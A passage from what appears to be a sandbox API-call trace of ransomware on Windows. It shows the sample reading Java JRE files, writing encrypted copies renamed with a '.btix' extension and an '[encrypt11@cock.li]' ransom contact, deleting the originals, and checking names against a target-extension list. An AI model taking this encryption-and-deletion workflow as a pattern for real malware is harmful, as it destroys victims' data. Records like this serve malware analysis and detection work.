(in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0150.993] GetLastError () returned 0x0 [0150.993] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x3c40, lpOverlapped=0x0) returned 1 [0151.003] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x3c50, lpOverlapped=0x0) returned 1 [0151.004] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.004] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.004] SetEndOfFile (hFile=0x394) returned 1 [0151.005] CloseHandle (hObject=0x394) returned 1 [0151.005] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.005] SetEndOfFile (hFile=0x3a0) returned 1 [0151.005] CloseHandle (hObject=0x3a0) returned 1 [0151.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.006] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 1 [0151.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0151.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0151.006] lstrlenW (lpString=".doc") returned 4 [0151.006] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.006] lstrlenW (lpString=".docx") returned 5 [0151.006] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0151.006] lstrlenW (lpString=".pdf") returned 4 [0151.006] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.006] lstrlenW (lpString=".xls") returned 4 [0151.006] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.006] lstrlenW (lpString=".xlsx") returned 5 [0151.006] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0151.006] lstrlenW (lpString=".ppt") returned 4 [0151.006] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0151.007] lstrlenW (lpString=".zip") returned 4 [0151.007] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.007] lstrlenW (lpString=".rar") returned 4 [0151.007] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.007] lstrlenW (lpString=".bz2") returned 4 [0151.007] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.007] lstrlenW (lpString=".7z") returned 3 [0151.007] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0151.007] lstrlenW (lpString=".dbf") returned 4 [0151.007] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0151.007] lstrlenW (lpString=".1cd") returned 4 [0151.007] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0151.007] lstrlenW (lpString=".jpg") returned 4 [0151.007] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0151.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0151.007] lstrlenW (lpString=".doc") returned 4 [0151.007] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.007] lstrlenW (lpString=".docx") returned 5 [0151.007] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0151.007] lstrlenW (lpString=".pdf") returned 4 [0151.007] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.007] lstrlenW (lpString=".xls") returned 4 [0151.007] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.007] lstrlenW (lpString=".xlsx") returned 5 [0151.007] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0151.007] lstrlenW (lpString=".ppt") returned 4 [0151.007] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0151.007] lstrlenW (lpString=".zip") returned 4 [0151.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.008] lstrlenW (lpString=".rar") returned 4 [0151.008] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.008] lstrlenW (lpString=".bz2") returned 4 [0151.008] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.008] lstrlenW (lpString=".7z") returned 3 [0151.008] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0151.008] lstrlenW (lpString=".dbf") returned 4 [0151.008] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0151.008] lstrlenW (lpString=".1cd") returned 4 [0151.008] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0151.008] lstrlenW (lpString=".jpg") returned 4 [0151.008] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.008] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0151.008] lstrlenW (lpString="rmid.exe") returned 8 [0151.008] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.009] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=15936) returned 1 [0151.009] CloseHandle (hObject=0x3a0) returned 1 [0151.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 0x20 [0151.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.009] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.009] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0151.010] GetLastError () returned 0x0 [0151.010] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x3e40, lpOverlapped=0x0) returned 1 [0151.019] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x3e50, lpOverlapped=0x0) returned 1 [0151.020] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.020] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe4, lpOverlapped=0x0) returned 1 [0151.020] SetEndOfFile (hFile=0x394) returned 1 [0151.020] CloseHandle (hObject=0x394) returned 1 [0151.020] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.020] SetEndOfFile (hFile=0x3a0) returned 1 [0151.021] CloseHandle (hObject=0x3a0) returned 1 [0151.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.021] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 1 [0151.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0151.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0151.022] lstrlenW (lpString=".doc") returned 4 [0151.022] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.022] lstrlenW (lpString=".docx") returned 5 [0151.022] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0151.022] lstrlenW (lpString=".pdf") returned 4 [0151.022] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.022] lstrlenW (lpString=".xls") returned 4 [0151.022] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.022] lstrlenW (lpString=".xlsx") returned 5 [0151.022] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0151.022] lstrlenW (lpString=".ppt") returned 4 [0151.022] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0151.022] lstrlenW (lpString=".zip") returned 4 [0151.022] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.022] lstrlenW (lpString=".rar") returned 4 [0151.022] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.022] lstrlenW (lpString=".bz2") returned 4 [0151.022] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.022] lstrlenW (lpString=".7z") returned 3 [0151.022] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0151.022] lstrlenW (lpString=".dbf") returned 4 [0151.022] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0151.023] lstrlenW (lpString=".1cd") returned 4 [0151.023] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0151.023] lstrlenW (lpString=".jpg") returned 4 [0151.023] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0151.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0151.023] lstrlenW (lpString=".doc") returned 4 [0151.023] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.023] lstrlenW (lpString=".docx") returned 5 [0151.023] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0151.023] lstrlenW (lpString=".pdf") returned 4 [0151.023] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.023] lstrlenW (lpString=".xls") returned 4 [0151.023] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.023] lstrlenW (lpString=".xlsx") returned 5 [0151.023] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0151.023] lstrlenW (lpString=".ppt") returned 4 [0151.023] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0151.023] lstrlenW (lpString=".zip") returned 4 [0151.023] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.023] lstrlenW (lpString=".rar") returned 4 [0151.023] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.023] lstrlenW (lpString=".bz2") returned 4 [0151.023] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.023] lstrlenW (lpString=".7z") returned 3 [0151.023] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0151.023] lstrlenW (lpString=".dbf") returned 4 [0151.023] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0151.023] lstrlenW (lpString=".1cd") returned 4 [0151.024] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0151.024] lstrlenW (lpString=".jpg") returned 4 [0151.024] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.024] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0151.024] lstrlenW (lpString="rmiregistry.exe") returned 15 [0151.024] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.024] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=16448) returned 1 [0151.024] CloseHandle (hObject=0x3a0) returned 1 [0151.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 0x20 [0151.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.025] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.025] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.025] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.025] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0151.025] GetLastError () returned 0x0 [0151.025] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x4040, lpOverlapped=0x0) returned 1 [0151.421] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x4050, lpOverlapped=0x0) returned 1 [0151.422] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.422] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xf2, lpOverlapped=0x0) returned 1 [0151.422] SetEndOfFile (hFile=0x394) returned 1 [0151.422] CloseHandle (hObject=0x394) returned 1 [0151.422] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.422] SetEndOfFile (hFile=0x3a0) returned 1 [0151.423] CloseHandle (hObject=0x3a0) returned 1 [0151.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.423] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 1 [0151.423] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0151.423] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0151.423] lstrlenW (lpString=".doc") returned 4 [0151.423] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.423] lstrlenW (lpString=".docx") returned 5 [0151.423] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0151.423] lstrlenW (lpString=".pdf") returned 4 [0151.423] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.423] lstrlenW (lpString=".xls") returned 4 [0151.423] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.424] lstrlenW (lpString=".xlsx") returned 5 [0151.424] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0151.424] lstrlenW (lpString=".ppt") returned 4 [0151.424] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0151.424] lstrlenW (lpString=".zip") returned 4 [0151.424] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.424] lstrlenW (lpString=".rar") returned 4 [0151.424] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.424] lstrlenW (lpString=".bz2") returned 4 [0151.424] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.424] lstrlenW (lpString=".7z") returned 3 [0151.424] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0151.424] lstrlenW (lpString=".dbf") returned 4 [0151.424] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0151.424] lstrlenW (lpString=".1cd") returned 4 [0151.424] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0151.424] lstrlenW (lpString=".jpg") returned 4 [0151.424] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0151.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0151.424] lstrlenW (lpString=".doc") returned 4 [0151.424] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.424] lstrlenW (lpString=".docx") returned 5 [0151.424] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0151.424] lstrlenW (lpString=".pdf") returned 4 [0151.424] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.425] lstrlenW (lpString=".xls") returned 4 [0151.425] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.425] lstrlenW (lpString=".xlsx") returned 5 [0151.425] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0151.425] lstrlenW (lpString=".ppt") returned 4 [0151.425] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0151.425] lstrlenW (lpString=".zip") returned 4 [0151.425] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.425] lstrlenW (lpString=".rar") returned 4 [0151.425] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.425] lstrlenW (lpString=".bz2") returned 4 [0151.425] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.425] lstrlenW (lpString=".7z") returned 3 [0151.425] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0151.425] lstrlenW (lpString=".dbf") returned 4 [0151.425] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0151.425] lstrlenW (lpString=".1cd") returned 4 [0151.425] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0151.425] lstrlenW (lpString=".jpg") returned 4 [0151.425] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.425] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0151.425] lstrlenW (lpString="ssvagent.exe") returned 12 [0151.425] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.426] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=70208) returned 1 [0151.426] CloseHandle (hObject=0x3a0) returned 1 [0151.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 0x20 [0151.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.426] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.426] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.426] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.426] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0151.427] GetLastError () returned 0x0 [0151.427] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x11240, lpOverlapped=0x0) returned 1 [0151.430] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x11250, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x11250, lpOverlapped=0x0) returned 1 [0151.432] ReadFile (in: hFile=0x3a0, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.432] WriteFile (in: hFile=0x394, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.432] SetEndOfFile (hFile=0x394) returned 1 [0151.432] CloseHandle (hObject=0x394) returned 1 [0151.432] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 